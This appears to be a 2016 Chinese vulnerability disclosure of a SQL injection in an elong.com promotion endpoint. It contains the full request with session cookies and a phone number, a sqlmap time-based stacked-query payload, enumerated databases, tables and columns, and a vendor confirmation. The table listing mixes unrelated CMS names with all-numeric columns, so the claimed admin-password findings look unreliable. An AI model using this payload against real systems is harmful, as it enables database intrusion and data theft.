艺龙某站存在SQL注入两库170张表涉及用户表/管理员密码等

{"target": "http://mhuodong.elong.com/PromotionJson/GetSmsCode", "agent": "Mozilla/5.0 (Linux; Android 4.4.4; HUAWEI ALE-CL00 Build/HuaweiALE-CL00) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36 ewandroid/9.9.1", "referer": null, "report": "", "cookie": "H5SessionId=3dbcc29e-c256-4234-8570-eda034ce26cc; H5Channel=ewhtml5%2cDefault; H5CookieId_s=e924cf81-2df0-4bfa-8571-8a6d99bfd0be; H5CookieId=e924cf81-2df0-4bfa-8571-8a6d99bfd0be; route=b0c9360f937aba159859a160623bc8de; Hm_lvt_a6bc45911d1a6843649fb7ba8676cc71=1457837385; Hm_lpvt_a6bc45911d1a6843649fb7ba8676cc71=1457837385; Hm_lvt_2547ead1439a4e1d06c7eb9e330939fd=1457837386; Hm_lpvt_2547ead1439a4e1d06c7eb9e330939fd=1457837386; NSC_NCBQQEXOME_80=ffffffffaf1d13b445525d5f4f58455e445a4a4229a0", "data": "activityId=65698945-4ed7-4e70-9078-fae5a80c78fe&mobile=18980144019&gCode="}

sqlmap identified the following injection point(s) with a total of 239 HTTP(s) requests:

---

Parameter: activityId (POST)

Type: stacked queries

Title: MySQL > 5.0.11 stacked queries (SELECT - comment)

Payload: activityId=65698945-4ed7-4e70-9078-fae5a80c78fe';(SELECT * FROM (SELECT(SLEEP(5)))gbhk)#&mobile=18980144019&gCode=

---

back-end DBMS: MySQL 5.0.11

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: activityId (POST)

Type: stacked queries

Title: MySQL > 5.0.11 stacked queries (SELECT - comment)

Payload: activityId=65698945-4ed7-4e70-9078-fae5a80c78fe';(SELECT * FROM (SELECT(SLEEP(5)))gbhk)#&mobile=18980144019&gCode=

---

back-end DBMS: MySQL 5.0.11

available databases [3]:

[*] information_schema

[*] test

[*] weixinpacket

Database: test

[163 tables]

+-----------------------------+

| BDDJoueurs |

| Booked_On |

| Campus |

| CodeRuleType |

| DEPARTAMENTO |

| DWE_Predecessors |

| D_Abbreviation |

| D_EM_DESTINATARIO |

| D_Format_Data |

| Descriptions_Languages |

| EMPLEADO |

| Equipment |

| LT_CUSTOM1 |

| LT_CUSTOM2 |

| LT_CUSTOM3 |

| LT_CUSTOM4 |

| LT_GRUPO |

| MM_USUARIOS_DO_PROCESSO |

| Model |

| POINT |

| Parametre |

| PostalAddress |

| Propdesc_table |

| Property |

| RATING |

| ROLE_PERM |

| SYNALLAGI |

| S_SESSOES |

| StateType |

| Station_Data |

| THOT_YEAR |

| UM_ROLE_ATTRIBUTES |

| Users |

| null |

| size |

| access_control |

| account_multi |

| account_transaction |

| accountuser |

| acctmanager |

| actualites |

| admin_psw |

| artikel_variationsgruppen |

| basePlusCommissionEmployees |

| binn_articles |

| binn_bann_temps |

| binn_catlinks |

| binn_cform_settings |

| binn_docs_temps |

| binn_faq_temps |

| binn_forum_threads |

| binn_news |

| binn_rubrikator_tlevel |

| binn_system_messages |

| binn_vote_results |

| cdb_announcements |

| cdb_attachments |

| cdb_banned |

| cdb_debates |

| cdv_curated_allele |

| cocktail_person |

| combustiblebois |

| connections |

| contador_empresa |

| convite |

| copytest |

| curso |

| dados_familia |

| dados_prefeitura |

| decodifica_tabelle |

| despesa_familia |

| div_treatment |

| dtb_bat_order_daily_age |

| dtb_send_customer |

| economy |

| email |

| emailinfo |

| enrolls |

| ew_gruppi |

| ezsearch_return_count_new |

| ezsearch_search_phrase_new |

| f_spatialcontext |

| files |

| forum_user_stat |

| gd |

| geo_lake |

| gl |

| greylist |

| hardware |

| house_extensions |

| ibf_members |

| images |

| instituicao |

| ippaths |

| jforum_posts |

| jforum_ranks |

| jiveID |

| jos_polls |

| jos_respuestas |

| jos_vm_orders |

| kauf_artikel |

| kontakt |

| logradouro |

| m_data |

| mehrwertsteuer |

| mein_doc |

| mtb_zip |

| mymps_certification |

| mymps_member_tpl |

| mymps_upload |

| nuke_journal |

| nuke_links_categories |

| nuke_message |

| nuke_related |

| nuke_topics |

| nuke_users_temp |

| officer |

| osc_products |

| partsgroup |

| perfil |

| photo |

| phpbb_confirm |

| phpbb_search_results |

| phpbb_themes_name |

| pictures |

| post |

| pricegroup |

| problem |

| queue_info |

| redirect |

| reserve |

| riddles |

| routerbenchmarks |

| serie |

| site_environment |

| site_location |

| soc_da_polit_ge |

| software |

| spip_articles |

| spip_mots_documents |

| studierende |

| sysmaps |

| sysmergeschemaarticles |

| tb_username |

| tbadmins |

| tblStones |

| tblmanagers |

| templatelinks |

| tf_rss |

| tmp |

| topic |

| trackbacks |

| trivia |

| ts2_server_privileges |

| tt_address |

| tx_tcdirectmail_targets |

| user_preferences |

| user_rights |

| valhalla |

| verkaeufer |

| webcal_group_user |

| zl_baoming |

| zl_finance |

+-----------------------------+

Database: weixinpacket

[9 tables]

+---------------------+

| dictionary |

| ew_moduli |

| imageAttribute |

| iplinks |

| maxcodevento |

| phpbb_themes |

| rating_track |

| reciprocal_admin |

| vrls_listing_images |

+---------------------+

back-end DBMS: MySQL 5.0.11

Database: test

Table: users

[14 columns]

+----------------------------+---------+

| Column | Type |

+----------------------------+---------+

| caroline-du-nord | numeric |

| adminpass | numeric |

| fldfuntype | numeric |

| id_refferer | numeric |

| idricoverohatipologia | numeric |

| mod_virtuemart_featureprod | numeric |

| shared_secret | numeric |

| sub | numeric |

| sub_comment1 | numeric |

| sub_comment5 | numeric |

| tutor | numeric |

| uname | numeric |

| version_min | numeric |

| zid | numeric |

+----------------------------+---------+

过滤

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2016-03-16 13:52

厂商回复：

已验证，感谢白帽子！

最新状态：

暂无

漏洞评价(共0人评价):